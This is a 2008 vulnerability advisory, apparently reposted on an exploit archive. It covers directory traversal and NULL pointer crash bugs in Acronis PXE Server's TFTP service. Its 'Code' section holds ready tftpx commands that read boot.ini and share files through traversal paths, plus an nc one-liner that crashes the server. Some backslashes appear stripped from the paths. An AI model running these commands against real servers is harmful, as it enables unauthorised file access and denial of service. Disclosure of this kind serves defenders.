Acronis PXE Server 2.0.0.1076 Directory Traversal / NULL Pointer Vulns

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Acronis PXE Server 2.0.0.1076 Directory Traversal / NULL Pointer Vulns
# Published : 2008-03-10
# Author : Luigi Auriemma
# Previous Title : Motorola Timbuktu Pro 8.6.5/8.7 Path Traversal / Log Injection Exploit
# Next Title : Argon Client Management Services <= 1.31 Directory Traversal Vuln

#######################################################################

                             Luigi Auriemma

Application:  Acronis PXE Server
              http://www.acronis.com/enterprise/products/snapdeploy/
Versions:     <= 2.0.0.1076
Platforms:    Windows
Bugs:         A] directory traversal
              B] NULL pointer
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.


---------------
B] NULL pointer
---------------

An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.


#######################################################################

===========
3) The Code
===========


A]
http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ..../..../boot.ini none
  tftpx SERVER c:boot.ini none
  tftpx SERVER \internal_hostdocumentsfile.txt none

B]
send the bytes 00 01 to UDP port 69 of the server:

  echo -n -e x00x01|nc SERVER 69 -v -v -u



#######################################################################

======
4) Fix
======


No fix


#######################################################################

# www.Syue.com [2008-03-10]